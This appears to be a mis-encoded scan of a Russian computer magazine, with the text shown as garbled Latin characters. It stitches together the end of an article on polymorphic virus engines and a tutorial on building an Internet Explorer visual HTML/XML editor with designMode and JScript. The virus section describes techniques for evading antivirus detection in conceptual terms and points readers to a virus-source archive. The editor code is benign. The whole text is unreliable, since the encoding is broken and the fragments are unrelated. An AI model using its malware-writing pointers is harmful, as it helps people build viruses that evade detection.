óðîâåíü ïîëèìîðôèçìà. Îí êîìáèíèðóåò ìåòîäû âñåõ íèæåëåæàùèõ
óðîâíåé, äîáàâëÿÿ ê íèì ìíîæåñòâî íîâûõ ôè÷. Âî-ïåðâûõ, ýòî äèíàìè-
÷åñêàÿ ãåíåðàöèÿ øèôðîâùèêà/ðàñøèôðîâùèêà. Âìåñòî òîãî ÷òîáû
ìîäèôèöèðîâàòü ôèêñèðîâàííûé íàáîð çàðàíåå ïîäãîòîâëåííûõ ðàñ-
øèôðîâùèêîâ, âèðóñ èõ ñîçäàåò ñàìîñòîÿòåëüíî ïî ñëó÷àéíîìó çàêîíó.
Ýòî î÷åíü ñëîæíàÿ çàäà÷à, òðåáóþùàÿ áîåâîãî îïûòà è äëèòåëüíîé ìà-
òåìàòè÷åñêîé ïîäãîòîâêè.
Ïîëèìîðôíûé ãåíåðàòîð ðåøàåò, ñ êàêèì òèïîì äàííûõ îí áóäåò ðàáîòàòü,
â êàêîì íàïðàâëåíèè áóäåò ïðîèñõîäèòü øèôðîâêà (îò íà÷àëà ê êîíöó èëè
îò êîíöà ê íà÷àëó), ñêîëüêî äåëàòü ïðîõîäîâ, êàêèå àðèôìåòè÷åñêèå èëè
ëîãè÷åñêèå îïåðàöèè âûáðàòü è ò. ä. Ïðÿìàÿ òðàíñëÿöèÿ â x86-êîä èñïîëü-
çóåòñÿ ðåäêî. Îáû÷íî âèðóñ ãåíåðèðóåò ïðîìåæóòî÷íûé ïñâåäîêîä, ñòðóê-
òóðà êîòîðîãî çàòî÷åíà ïîä íóæäû äàííîé çàäà÷è, à ïîòîì óæå ïåðåâîäèò
åãî â ðîäíûå ìàøèííûå êîìàíäû.
Áîëåå ïðîäâèíóòûå ïîëèìîðôèêè âîîáùå îòêàçûâàþòñÿ îò ðàñøèôðîâ-
ùèêà è ìîäèôèöèðóþò íåïîñðåäñòâåííî ñàìî âèðóñíîå òåëî. Ýòî àðõèñ-
ëîæíàÿ çàäà÷à, êîòîðóþ â ïîëíîì âèäå äî ñèõ ïîð íèêòî íå ðåøèë. Óñè-
ëèé òóò òðåáóåòñÿ ïðîñòî ìîðå. Çàòî êàêîé êóø íàñ æäåò! Àäåêâàòíûõ
ìåòîäèê äåòåêòèðîâàíèÿ ïîäîáíûõ âèðóñîâ äî ñèõ ïîð íå ðàçðàáîòàíî,
è âðÿä ëè îíè ïîÿâÿòñÿ â äàëüíåéøåì. Ïðîãðàììèñòàì çäåñü äåëàòü ïî-
êà íå÷åãî. Ñíà÷àëà òóò äîëæíû ïîðàáîòàòü ìàòåìàòèêè. Íåîáõîäèìî íà-
ó÷èòü êîìïüþòåð ðàñïîçíàâàòü ñìûñë ñîâîêóïíîñòè ìàøèííûõ êîìàíä,
à ýòî óæå èç îáëàñòè AI, ðàáîòû íàä êîòîðûì áûëè ñâåðíóòû åùå â êîí-
öå ñåìèäåñÿòûõ. Àâòîìàòè÷åñêàÿ äåêîìïèëÿöèÿ íåâîçìîæíà! À âîò êîì-
ïèëÿöèÿ � î÷åíü äàæå âïîëíå! Òàê ÷òî ïîÿâëåíèå î÷åðåäíûõ ïîëèìî-
ðôíûõ ìîíñòðîâ óæå íå çà ãîðàìè.

[çàêëþ÷åíèå èëè ïðîêàëûâàÿ íåáî] Âîò óæå ñòàòüÿ ïîäîøëà ê ñâî-
åìó êîíöó, êîòîðûé êàê íè îòòÿãèâàé, âñå ðàâíî íàñòóïàåò, à ãîòîâûõ ïðè-
ìåðîâ ïîëèìîðôíûõ ãåíåðàòîðîâ â íåé íå íàáëþäàëîñü. Ïî÷åìó? Äà ïîòî-
ìó, ÷òî äàæå ñàìûé ïðîñòåéøèé ïñåäâîïîëèìîðôíûé âèðóñ â ñòàòüþ ïðîñ-
òî íå âëåçåò. Äàæå åñëè ñîñðåäîòî÷èòüñÿ íà êëþ÷åâûõ ôðàãìåíòàõ ãåíåðà-
òîðà, íàì ïîòðåáóåòñÿ ñòîïêà ëèñòîâ ôîðìàòà A1. Ëó÷øå âçÿòü ãîòîâûé èñ-
õîäíèê (áëàãî íåäîñòàòêà â íèõ íå íàáëþäàåòñÿ, ñõîäè õîòÿ áû íà
vx.netlux.org è ñêà÷àé âñå âèðóñíûå æóðíàëû) è ïðîàíàëèçèðîâàòü åãî. À
ýòà ñòàòüÿ ïîìîæåò ïîíÿòü íàçíà÷åíèå îòäåëüíûõ âèðóñíûõ ÷àñòåé, îïðå-
äåëèâ ñòåïåíü åãî ïîëèìîðôèçìà è âûáðàííûé àëãîðèòì.
×òî æ! Êàê ãîâîðèòüñÿ, äîðîãó îñèëèò èäóùèé. Êñòàòè ãîâîðÿ, ÷òî-òî äî ñèõ
ïîð íå ñëûøíî ïðî âèðóñû ïîä ïëàòôîðìó x86-64 (îíà æå AMD-64). Íåïðà-
âèëüíî ýòî! Â ñëåäóþùåé ñòàòüå ìû ïîêàæåì, êàêèå ïðåèìóùåñòâà äàåò ïå-
ðåõîä íà íîâûå ïðîöåññîðû îò AMD, è êàê íà÷àòü ïèñàòü àññåìáëåðíûå
ïðîãðàììû ïîä íåå. Êàê-íèêàê, ýòî ïîñëåäíåå ðàäèêàëüíîå èçìåíåíèå àð-
õèòåêòóðû ñî âðåìåí 386, ó êîòîðîãî åñòü íåïëîõèå øàíñû ïîòåñíèòü Intel è
çàíÿòü ñâîå ìåñòî ïîä ñîëíöåì. Íåìíîãî çàáåãàÿ âïåðåä, ñêàæåì, ÷òî
èìåòü äëÿ ýòîãî 64-áèòíûé ïðîöåññîð õîòü è æåëàòåëüíî, íî íåîáÿçàòåëü-
íî. Íà ïåðâûõ ïîðàõ ìîæíî âîñïîëüçîâàòüñÿ è ýìóëÿòîðîì, à ïîòîì óæå ðå-
øàòü � íóæíà ëè íàì ýòà òåõíîëîãèÿ èëè íåò
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áëîíäèíêà ñìîæåò âñòàâëÿòü â
òåêñò êàðòèíêè, ñîçäàâàòü ãè-
ïåðññûëêè, ìåíÿòü øðèôò òåê-
ñòà è äîáàâëÿòü òàáëèöû � ýòî
ñòàíäàðò, æåñòêàÿ íåîáõîäè-
ìîñòü. È ïîíÿòü ýòî ìîæíî � çà-
÷åì äåðæàòü êàêîãî-òî ëåâîãî
÷åëîâåêà, êîòîðûé áóäåò îáíî-
âëÿòü ñàéò, äîáàâëÿÿ ñîòíè html-
äîêóìåíòîâ âðó÷íóþ. Íîðìàëü-
íûå ëþäè äàâíî ïîíÿëè, ÷òî ëó÷-
øå îäèí ðàç çàïëàòèòü çà òîëêî-
âûé äâèæîê, ÷åì êàæäûé ìåñÿö
ïëàòèòü äåíüãè çà ìèôè÷åñêóþ
«ïîääåðæêó ñàéòà». Ïîýòîìó ñè-
ñòåìû âèçóàëüíîãî ðåäàêòèðî-
âàíèÿ êîíòåíòà íûí÷å â õîäó, è
íå òîëüêî, êñòàòè ãîâîðÿ, äëÿ ñè-
ñòåì óïðàâëåíèÿ web-ñàéòàìè. Íî îá ýòîì ìû åùå ïîãîâîðèì. Ñåé-
÷àñ æå ÿ íà÷íó ñ ïðîñòîãî � ðàññêàæó, êàê îñóùåñòâëÿåòñÿ âèçóàëü-
íîå ðåäàêòèðîâàíèå html-äîêóìåíòîâ.

[íà÷íåì ñ ïðîñòîãî] Äàâàé ïîäóìàåì, êàê ìîæåò ðàáîòàòü âè-
çóàëüíûé web-ðåäàêòîð. Îò ýòîãî èíñòðóìåíòà òðåáóåòñÿ, ÷òîáû, â
îòâåò íà îïðåäåëåííûå äåéñòâèÿ ïîëüçîâàòåëÿ, îí èçìåíÿë html-
êîä äîêóìåíòà è ñðàçó îòîáðàæàë ýòè èçìåíåíèÿ. Ñîâåðøåííî ïî-
íÿòíî, ÷òî âñå ýòî äîëæíî ïðîèñõîäèòü â òåñíîì âçàèìîäåéñòâèè
ñ áðàóçåðîì: â êîíöå êîíöîâ, èìåííî îí ïîêàçûâàåò äîêóìåíò
ïîëüçîâàòåëþ. Îêàçûâàåòñÿ, ÷òî ðàçðàáîò÷èêè èç Microsoft ïðî-
ÿâèëè äàëüíîâèäíîñòü è âñòðîèëè â Internet Explorer ïÿòîé âåðñèè

Òåìà, î êîòîðîé ÿ òåáå ñåé÷àñ ðàññêàæó
î÷åíü àêòóàëüíà. Åñëè òû ïîñìîòðèøü íà ëþ-
áîé êîììåð÷åñêèé äâèæîê äëÿ ñàéòîâ, â ëþ-
áîì èç íèõ áóäåò âîçìîæíîñòü âèçóàëüíîãî
ðåäàêòèðîâàíèÿ ìàòåðèàëîâ ñàéòà. Óäîáíûé
èíñòðóìåíò, ñ ïîìîùüþ êîòîðîãî ëþáàÿ
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ÂÐÅÌß ÈÄÅÒ, È ÂÑËÅÄ ÇÀ ÐÀÇÂÈÒÈÅÌ WEB-
ÒÅÕÍÎËÎÃÈÉ ÌÅÍßÞÒÑß ÒÅÍÄÅÍÖÈÈ È ÀÊÒÓ-
ÀËÜÍÛÅ, «ÌÎÄÍÛÅ» ÔÈØÊÈ. ÂÎÒ ÑÊÀÆÈ ÌÍÅ,
ÄÅÑßÒÜ ËÅÒ ÍÀÇÀÄ, ÊÎÃÄÀ ÑÄÅËÀÒÜ ÑÎÁ-
ÑÒÂÅÍÍÛÉ HTML-ÄÎÊÓÌÅÍÒ È ÇÀËÈÒÜ ÅÃÎ ÍÀ
ÁÅÑÏËÀÒÍÛÉ ÀÌÅÐÈÊÀÍÑÊÈÉ ÕÎÑÒÈÍÃ � ÁÛ-
ËÎ ÍÀÑÒÎßÙÈÌ ÏÐÎÐÛÂÎÌ, ÌÎÆÍÎ ËÈ ÁÛ-
ËÎ ÏÐÅÄÑÒÀÂÈÒÜ ÑÅÁÅ, ×ÒÎ ÑÊÎÐÎ ËÞÁÀß
ÑÅÊÐÅÒÀÐØÀ ÑÌÎÆÅÒ ËÅÃÊÎ ÌÎÄÈÔÈÖÈÐÎ-
ÂÀÒÜ, ÑÎÇÄÀÂÀÒÜ È ÎÔÎÐÌËßÒÜ WEB-ÊÎÍ-
ÒÅÍÒ ÍÀ ÊÎÐÏÎÐÀÒÈÂÍÎÌ ÑÀÉÒÅ? À ÑÅÉ×ÀÑ
� ËÅÃ×Å ÏÐÎÑÒÎÃÎ! ÍÅÒ ÍÈ×ÅÃÎ ÑËÎÆÍÎÃÎ
Â ÒÎÌ, ×ÒÎÁÛ ÑÄÅËÀÒÜ ÈÍÑÒÐÓÌÅÍÒ ÄËß ÂÈ-
ÇÓÀËÜÍÎÃÎ � ÊÀÊ Â ÂÎÐÄÅ � ÐÅÄÀÊÒÈÐÎÂÀ-
ÍÈß HTML- È XML-ÄÎÊÓÌÅÍÒÎÂ. ÑÅÉ×ÀÑ ß
ÐÀÑÑÊÀÆÓ ÒÅÁÅ Î ÒÎÌ, ÊÀÊ ÔÓÍÊÖÈÎÍÈÐÓ-
ÞÒ ÒÀÊÈÅ ÐÅÄÀÊÒÎÐÛ È ÊÀÊ ÌÎÆÍÎ ÏÐÈÊÐÓ-
ÒÈÒÜ ÈÕ Ê ÑÎÁÑÒÂÅÍÍÎÉ ÑÈÑÒÅÌÅ | eto'o
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Ñîçäàíèå ñèñòåì âèçó-
àëüíîãî ïðîåêòèðîâà-
íèÿ êîíòåíòà 

ß, ðàçóìååòñÿ, î ìíîãîì íå
ñìîã ðàññêàçàòü â ýòîé
ñòàòüå � ïðîñòî ìåñòà íå
õâàòèëî. Ïîýòîìó íå æå-
ëàþ âèäåòü êðèòèêó, ÷òî ÿ
î ÷åì-òî íå íàïèñàë. ß íà-
ïèñàë, î ÷åì ñ÷åë íóæíûì,
à ÷òî-òî îñòàâèë òåáå íà
ñàìîñòîÿòåëüíîå èçó÷åíèå.
Ìàòåðèàëîâ íà äèñêå è
ññûëîê � íàâàëîì.

Ïåðåâîä îòëè÷íîé ñòàòüè
ïî ðåäàêòèðîâàíèþ XML ñ
èñïîëüçîâàíèåì XML
Schema: http://nnberg.na-
rod.ru/doc/xml-schema-xslt.



ïîääåðæêó ñïåöèàëüíîãî ðåæè-
ìà ðåäàêòèðîâàíèÿ: ëþáîé ýë-
åìåíò document â îáúåêòíîé
ìîäåëè èìååò ñâîéñòâî design-
Mode, ïîñëå óñòàíîâêè êîòîðî-
ãî â ïîëîæåíèå On ïðîèñõîäèò
óäèâèòåëüíàÿ âåùü: ñîäåðæè-
ìîå ýòîãî ýëåìåíòà ñòàíîâèòñÿ
îòêðûòûì äëÿ ðåäàêòèðîâàíèÿ,
ïðè÷åì âñå èçìåíåíèÿ ïîäõâà-
òûâàþòñÿ è îòîáðàæàþòñÿ áðàó-
çåðîì «íà ëåòó». Âîîáùå ãîâî-
ðÿ, â ýòîì ðåæèìå äîñòóïíû âñå
âîçìîæíîñòè ñòàíäàðòíîãî ðå-
äàêòèðîâàíèÿ äîêóìåíòîâ: äî-
áàâëåíèå ñòàíäàðòíûõ îáúåê-
òîâ, èçìåíåíèå èõ ñâîéñòâ è
ò.ä. Âñå ýòè ôóíêöèè äîñòóïíû
÷åðåç ðàçëè÷íûå ìåòîäû è
ñâîéñòâà ðåäàêòèðóåìîãî ýë-
åìåíòà. Ñîîòâåòñòâåííî, êîíå÷-
íîìó ïîëüçîâàòåëþ íåîáõîäèìî
ïðåäîñòàâèòü ïîíÿòíûé èíòåð-
ôåéñ äëÿ âûçîâà ýòèõ ïðîöå-
äóð, äëÿ ðåäàêòèðîâàíèÿ ñîäåð-
æèìîãî. Íî äîâîëüíî ñëîâ, äà-
âàé ïåðåéäåì ê äåëàì.
Ïåðâûì äåëîì íåîáõîäèìî ñîç-
äàòü êîíòåéíåð, html-ýëåìåíò, êî-
òîðûé áóäåò ñîäåðæàòü â ñåáå ðåäàêòèðóåìûé äîêóìåíò. Èì ìîæåò áûòü
êàê ôðåéì (iframe), òàê è îáëàñòü div � ýòî íå òàê óæ è âàæíî. Ìû îñòà-
íîâèìñÿ íà âàðèàíòå ñ ôðåéìîì, ïîñêîëüêó îí ÷óòî÷êó ïðîùå. Èòàê,
ñîçäàòü ýëåìåíò-êîíòåéíåð ìîæíî ñëåäóþùèì îáðàçîì:

<iframe id="editMe">
Content
</iframe>

Òåïåðü, ÷òîáû ïðåâðàòèòü ýòîò ôðåéì â ïîëíîöåííûé ðåäàêòîð, íóæíî
âñåãî ëèøü âûïîëíèòü ýëåìåíòàðíûé êîä:

document.frames["editMe"].document.designMode = "On";

Íà ïðàêòèêå èíèöèàëèçàöèþ ðåäàêòîðà óäîáíî âûíåñòè â îòäåëüíóþ
ôóíêöèþ, êîòîðóþ ìîæíî óêàçàòü â êà÷åñòâå îáðàáîò÷èêà OnLoad â êî-
ðåííîì äîêóìåíòå. Ïðèìåðíî âîò òàê:

[èíèöèàëèçàöèÿ ðåäàêòîðà]

<HTML>
<HEAD><TITLE>...</TITLE>
<SCRIPT LANGUAGE="JScript">
var ed = null; #Ãëîáàëüíàÿ ïåðåìåííàÿ, óêàçàòåëü íà íàø ðåäàêòîð
function initEd() {
ed = document.frames["editMe"].document; #Ïîëó÷àåì íàø ôðåéì è
ïðèñâàèâàåì ïåðåìåííîé editor óêàçàòåëü íà íåãî 
ed.designMode = "On";#Âêëþ÷àåì ðåæèì ðåäàêòèðîâàíèÿ
ed.open();
ed.write("<h1>Òåñòîâàÿ ñòðàíèöà</h1><br><font color=blue>Ñèíèé,
ïðåêðàñíûé òåêñò</font>");#Çàïèñûâàåì íà÷àëüíîå ñîäåðæèìîå
ed.close();
}
</SCRIPT>
</HEAD>
<BODY onload="initEd()">...</BODY>
</HTML>

Åñëè òû âñòàâèøü ýòîò êîä â áëîêíîòå, ñîõðàíèøü ôàéë ñ ðàñøè-
ðåíèåì html è îòêðîåøü â áðàóçåðå IE, òî óâèäèøü ðåäàêòèðóåìóþ
îáëàñòü, êóäà ìîæíî áóäåò ëåãêî äîáàâëÿòü òåêñò, ââîäÿ åãî ïðÿ-
ìî ñ êëàâèàòóðû, êàê â îáû÷íîì ðåäàêòîðå. Ìîæåò, òåáÿ ýòî óäè-
âèò � âåäü äî ýòîãî òû äóìàë, ÷òî òåêñòîâîå ñîäåðæèìîå ìîæíî
ìåíÿòü òîëüêî â ïîëÿõ ôîðì, à óæ ñ iframe íè÷åãî òàêîãî íåâîç-
ìîæíî. Íî âåäü íóæíî èíîãäà óäèâëÿòüñÿ, âåðíî?
Åùå áîëüøå âîñòîðãà âûçîâåò òîò ôàêò, ÷òî â ýòîò ôðåéì ìîæíî áó-
äåò ëåãêî âñòàâëÿòü âñå îñòàëüíûå ýëåìåíòû: èçîáðàæåíèÿ, ãèïåðñ-
ñûëêè, ñëîæíûå ôðàãìåíòû html è ò.ä. Áîëåå òîãî, áóäåò ðàáîòàòü

ôóíêöèÿ îòìåíû èçìåíåíèé � undo. Êñòàòè, îíà ðàáîòàåò óæå ñåé-
÷àñ. Ïîïðîáóé ÷òî-íèáóäü íàïèñàòü âî ôðåéìå è ïîòîì íàæìè ctrl+z
� òåêñò âåðíåòñÿ â ïðåäûäóùåå ñîñòîÿíèå. Îäíàêî êàê îáåñïå÷èòü
âñþ îñòàëüíóþ ôóíêöèîíàëüíîñòü íàøåãî ðåäàêòîðà? Î÷åíü ïðîñòî:
íóæíî äîáàâèòü ðåäàêòîðó íåñêîëüêî êíîïî÷åê, íà êàæäóþ èç êîòî-
ðûõ ïîâåñèòü ñâîåãî îáðàáîò÷èêà íàæàòèÿ � ôóíêöèþ, êîòîðàÿ áó-
äåò âûïîëíÿòü òðåáóåìîå äåéñòâèå. Íó, ñêàæåì, äåëàòü âûäåëåííûé
òåêñò æèðíûì èëè çåëåíûì.
×òîáû èäòè äàëüøå, íàì íóæíî ðàçîáðàòüñÿ åùå ñ îäíèì îáúåêòîì
� Range, ñîäåðæàùèì âûäåëåííóþ îáëàñòü òåêñòà. Ó ðåäàêòèðóå-
ìîãî îáúåêòà åñòü åùå îäèí îáúåêò selection, ñðåäè ìåòîäîâ êîòî-
ðîãî ïðèñóòñòâóåò ôóíêöèÿ ñ ãîâîðÿùèì íàçâàíèåì: createRange.
Äà, èìåííî îíà ñîçäàåò îáúåêò range, ñîîòâåòñòâóþùèé âûäåëåííî-
ìó â äàííûé ìîìåíò òåêñòó: var range = editor.selection.createRan-
ge(). Ïîñëå ýòîãî óæå ìîæíî ðàáîòàòü ñ âûäåëåííûì òåêñòîì ïðè
ïîìîùè execCommand, ëèáî íàïðÿìóþ èçìåíÿÿ ñâîéñòâî range.text.
×òîáû áûëî ïîíÿòíåå, ÿ ïîêàæó íà ïðèìåðå, êàê ñîçäàòü è êàê âû-
çûâàòü ôóíêöèþ, êîòîðàÿ áóäåò îôîðìëÿòü âûäåëåííûé êóñîê òåê-
ñòà êóðñèâîì, èëè äåëàòü åãî, ñêàæåì, çåëåíûì. Ïåðâûì äåëîì
íåîáõîäèìî ñîçäàòü êíîïêó, ïî íàæàòèè êîòîðîé áóäåò îñóùåñò-
âëÿòüñÿ îïðåäåëåííîå äåéñòâèå:

<INPUT TYPE="BUTTON" VALUE="I" ONCLICK="setItalic() ID="italic""></INPUT>

Ïîñëå ýòîãî ðÿäîì ñ ôóíêöèåé èíèöèàëèçàöèè ðåäàêòîðà íóæíî ñîçäàòü
åùå îäíó ýëåìåíòàðíóþ ïðîöåäóðó:

function setItalic() {
var range = editor.selection.createRange();
range.execCommand("Italic");
}

Òåïåðü, åñëè òû íàæìåøü íà êíîïêó «I», âûäåëåííûé òåêñò ñòàíåò íà-
êëîííûì. À ÷òî, åñëè íàæàòü íà êíîïêó, íå âûäåëÿÿ ïðè ýòîì òåêñòà? Íè-
÷åãî íå ïðîèçîéäåò, ïîñêîëüêó execCommand äàæå íå áóäåò âûïîëíÿòü-
ñÿ äëÿ ïóñòîãî Range. Ñ äðóãîé ñòîðîíû, áûëî áû íå ïëîõî, íàâåðíîå,
÷òîáû â èñõîäíûé êîä âñòàâèëñÿ îïðåäåëåííûé òýã îôîðìëåíèÿ è äàí-
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Ññûëêè íà ñòàòüè â MSDN:
http://msdn.micro-
soft.com/library/de-
fault.asp?url=/workshop/aut
hor/editing/tutori-
als/html_editor.asp

http://msdn.micro-
soft.com/library/de-
fault.asp?url=/library/en-
us/dnxmlweb/html/xmldoce-
dit.asp

http://msdn.micro-
soft.com/library/de-
fault.asp?url=/workshop/aut
hor/behaviors/overview/ele-
mentb_ovw.asp äîñòóïíûé íà ñàéòå MSDN ïðèìåð ïðîñòîãî âèçóàëüíîãî ðåäàêòîðà

ñòîèò òîëüêî ïîèñêàòü, ñðàçó íàòûêàåøüñÿ íà îòëè÷íûå ñòàòüè

Íà íàøåì äèñêå òû íàé-
äåøü äîâåäåííûé äî óìà
ìàéêðîñîôòîâñêèé XML-
ðåäàêòîð, à òàêæå õîðîøèé
è íàãëÿäíûé ïðèìåð XML-
äîêóìåíòà ñî ñõåìîé ðå-
äàêòèðîâàíèÿ. Åñëè íàäó-
ìàåøü ðàçîáðàòüñÿ, íà÷è-
íàé ñìåëî ñ íåå.



íûå, ââîäèìûå ïîëüçîâàòåëåì, ïîìåùàëèñü âíóòðü ýòîãî íîâîãî ýë-
åìåíòà. Äëÿ ýòîãî ìîæíî èñïîëüçîâàòü òàêîé òðþê: åñëè âûäåëåííàÿ
îáëàñòü ïóñòà, ïîìåùàòü òóäà êàêîé-òî íåâèäèìûé ñèìâîë. Çàòåì ïåðå-
ìåùàòüñÿ íà ïîçèöèþ íàçàä è çàêëþ÷àòü ýòî «ïóñòîå» ñîäåðæèìîå â
îôîðìèòåëüñêèé êîíòåéíåð. Ïîýòîìó ôóíêöèþ setItalic() ìîæíî ïåðåïè-
ñàòü ñëåäóþùèì îáðàçîì:

function setItalic() {
var range = editor.selection.createRange();
if (range.text.length == 0) {
range.pasteHTML("&nbsp;");
range.moveStart("character", -1);
range.select();
}
range.execCommand("Italic");
}

Îáðàòè âíèìàíèå íà ñâîéñòâî range.text.length � êàê ëåãêî ïîíÿòü èç
ïðèâåäåííîãî êîäà, çäåñü íàõîäèòñÿ äëèíà âûäåëåííîãî òåêñòà. Ñîîò-
âåòñòâåííî, åñëè íè÷åãî íå âûäåëåíî, òî ýòîò ïàðàìåòð ðàâåí íóëþ è ìû
âñòàâëÿåì íà òî ìåñòî, ãäå íàõîäèòñÿ êóðñîð, ïðîáåë (&nbsp; â unicode),
ïåðåìåùàåìñÿ íà ñèìâîë âëåâî è ïðîèçâîäèì âûäåëåíèå îáëàñòè, ïî-
ñëå ÷åãî ïðèìåíÿåì êîìàíäó execCommand(Italic). Òåïåðü, åñëè ïîëüçî-
âàòåëü íà÷íåò ââîäèòü òåêñò ïîñëå íàæàòèÿ êíîïêè «I», îí áóäåò îôîð-
ìëÿòüñÿ êóðñèâîì.

[âåñåëûå êàðòèíêè] Äóìàþ, òû óæå äîëæåí áûë äîãàäàòüñÿ, êàêèì
îáðàçîì ìîæíî âñòàâëÿòü â äîêóìåíò êàðòèíêè. Êîíå÷íî, íàì îïÿòü ïî-
òðåáóåòñÿ êíîïêà, íà êîòîðóþ ìû ïîâåñèì îáðàáîò÷èê insertImg:

<INPUT TYPE="BUTTON" VALUE="I" ONCLICK="insertImg() ID="img""></INPUT>

Ñàìà ôóíêöèÿ âûãëàäèò ïðèìåðíî ñëåäóþùèì îáðàçîì:

function insertImg() {
var img = prompt("Âåäè èìÿ", "file.jpg");
var range = editor.selection.createRange();
range.pasteHTML("<img src='"+img+"'>");
}

Ýòà ïðîöåäóðà çàïðàøèâàåò ó ïîëüçîâàòåëÿ èìÿ âñòàâëÿåìîé êàðòèí-
êè, à çàòåì âñòàâëÿåò âìåñòî âûäåëåííîãî òåêñòà (åñëè âûäåëåíèå ïó-
ñòîå, òî ïðîñòî íà ïîçèöèþ êóðñîðà) html-òåã <img>, ñîîòâåòñòâóþùèé
âñòàâëÿåìîé êàðòèíêè. Ïðàâäà, ïðîùå ïðîñòîãî? Äóìàþ, äëÿ òåáÿ íå
áóäåò ïðîáëåìîé íàïèñàòü åùå íåñêîëüêî ôóíêöèé, êîòîðûå áóäóò
âûäåëÿòü òåêñò æèðíûì, èëè ðàçëè÷íûìè öâåòàìè. Åñëè òû âñåðüåç
çàèíòåðåñóåøüñÿ ýòîé òåìîé, íàñòîÿòåëüíî ðåêîìåíäóþ òåáå îáðà-
òèòüñÿ ê äîêóìåíòàöèè íà ñàéòå MSDN. Íàáðàâ â ïîèñêå How to Crea-
te an HTML Editor Application, òû ñðàçó íàéäåøü ññûëêó http://msdn.mic-
rosoft.com/library/default.asp?url=/workshop/author/editing/tutori-
als/html_editor.asp, ïî êîòîðîé äîñòóïíà ïðåêðàñíàÿ ñòàòüÿ, îïèñûâàþ-
ùàÿ ïðîöåññ ñîçäàíèÿ íåõèòðîãî âèçóàëüíîãî ðåäàêòîðà. Íà ýòîì
ñàéòå ìîæíî ëåãêî íàéòè îïèñàíèå âñåõ ôóíêöèé è ìåòîäîâ, èñïîëü-
çóåìûõ äëÿ âèçóàëüíîãî ðåäàêòèðîâàíèÿ. Åñëè ó òåáÿ ïîãàíûé Èíòåð-
íåò, òû òàê æå ìîæåøü îáðàòèòüñÿ ê íàøåìó äèñêó è ïîëó÷èòü âñþ
òðåáóåìóþ äîêóìåíòàöèþ îòòóäà.

[ðåäàêòèðóåì xml] À ìû, òåì âðåìåíåì, ïîäîáðàëèñü ê êóëüìèíàöèè
� ñåé÷àñ ìû ïîãîâîðèì î âèçóàëüíîì ðåäàêòèðîâàíèè XML-äàííûõ. Íà
ïåðâûì âçãëÿä ìîæåò ïîêàçàòüñÿ, ÷òî ýòî ìàëî ÷åì îòëè÷àåòñÿ îò ðåäàê-
òèðîâàíèÿ HTML. Îäíàêî ýòî ñîâåðøåííî íå òàê: çäåñü îãðîìíàÿ êó÷à
òðóäíîñòåé, êîòîðóþ ïîðîæäàåò, ïðåæäå âñåãî, ñàì ñòàíäàðò XML, çà
ñòðîãîñòü êîòîðîãî ìû åãî òàê ëþáèì :). Ïðåæäå âñåãî, íóæíî îòâåòèòü íà
âîïðîñ: ÷òî ïîíèìàåòñÿ ïîä «âèçóàëüíûì ðåäàêòèðîâàíèåì» XML? Ïðè-
ðîäà è ñóòü ôîðìàòà òàêîâà, ÷òî îòðèöàåò ñàìó âîçìîæíîñòü êàêîé-òî
îôîðìèòåëüíîé ïðèâÿçêè âíóòðè äîêóìåíòà, áîëåå òîãî, â îáùåì ñëó÷àå
XML-äîêóìåíò âîîáùå íå ÿâëÿåòñÿ àòîìàðíûì òåêñòîâûì íîñèòåëåì. Îí
çàïðîñòî ìîæåò îïèñûâàòü ñòðîåíèå ïàññàæèðñêîãî ñàìîëåòà, âûâîä ìà-
òåìàòè÷åñêîé ôîðìóëû, áèîõèìè÷åñêèé ïðîöåññ, âåêòîðíîå èçîáðàæå-
íèå. Ïîýòîìó ïîä «âèçóàëüíûì ðåäàêòèðîâàíèåì» ìû áóäåì ïîíèìàòü
ðåäàêòèðîâàíèå, ïðåîáðàçîâàííîå ê êîíêðåòíîìó ãðàôè÷åñêîìó ïðåä-
ñòàâëåíèþ äîêóìåíòà. Ëîãè÷íî, ÷òî òàêîå ïðåîáðàçîâàíèå óäîáíî âû-
ïîëíÿòü ïðè ïîìîùè èíñòðóìåíòà XSLT. È çäåñü âñòàåò åùå îäíà, óæå
áîëåå âåñîìàÿ ïðîáëåìà. Ôîðìàò XML � î÷åíü ñòðîãèé, îòíîñèòåëüíî
html. È êîãäà ìû ïðåîáðàçîâûâàåì ñòðîãèå XML-äàííûå â html-ïîìîéêó,
íåâîçìîæíî äîïóñòèòü è ìûñëè î ñâîáîäíîì ðåäàêòèðîâàíèè ýòîãî html-
äîêóìåíòà, ïîñêîëüêó ïðîâåñòè «îáðàòíóþ îïåðàöèþ» ïî ñáîðêå â xml
áóäåò, â ðÿäå ñëó÷àåâ, íåâîçìîæíî. Êàê ãîâîðÿò, áóäåò íàðóøåíà öåëîñò-

íîñòü äîêóìåíòà. Ïîýòîìó ðåäàê-
òèðîâàíèå XML-äàííûõ ëèøåíî
ñìûñëà, åñëè ïðè ýòîì íå ó÷èòûâà-
åòñÿ ñòðóêòóðà äîêóìåíòà. Íåîáõî-
äèì êàêîé-òî èíñòðóìåíò äëÿ êîí-
òðîëÿ äåéñòâèÿ ïîëüçîâàòåëÿ, ÷òî-
áû ïðè ðåäàêòèðîâàíèè, âî-ïåð-
âûõ, ñîáëþäàëèñü ïðàâèëà XML, à
âî-âòîðûõ, íå íàðóøàëàñü ñòðóêòó-
ðà ñàìîãî äîêóìåíòà. Ãäå æå âçÿòü
òàêîé èíñòðóìåíò?
Åñëè òû ÷èòàë êàêèå-òî ñòàòüè îá
XML, òî äîëæåí çíàòü, ÷òî åñòü òà-
êàÿ øòóêà, êàê DTD � Document
Type Definiton. Ýòî ñâîåãî ðîäà
ìàêåò XML-äîêóìåíòà, íàáîð ïðà-
âèë, êîòîðûé ïîçâîëÿåò îòëè÷àòü
«ïðàâèëüíûå» äîêóìåíòû îò «íå-
ïðàâèëüíûõ». Îäíàêî ìåõàíèçì
DTD íå ìîæåò îáåñïå÷èòü íàì
òðåáóåìîé ñòðîãîñòè è êîððåêòíî-

ñòè äîêóìåíòà, êðîìå òîãî, ýòîò èíñòðóìåíò íå ïðåäîñòàâëÿåò óäîáíûõ
ìåõàíèçìîâ äëÿ ðåäàêòèðîâàíèÿ äàííûõ. Äíÿ íàøèõ íóæä çíà÷èòåëüíî
áîëüøå ïîäõîäèò ÿçûê XML-ñõåì � XML Schema, êîòîðûé, âî-ïåðâûõ,
ïîçâîëÿåò ìàêñèìàëüíî ñòðîãî îïèñàòü ñòðóêòóðó äîêóìåíòà, è âî-âòî-
ðûõ, âêóïå ñ Xupdate, ïðåäîñòàâëÿåò óäîáíûå ìåõàíèçìû äëÿ ðåäàêòè-
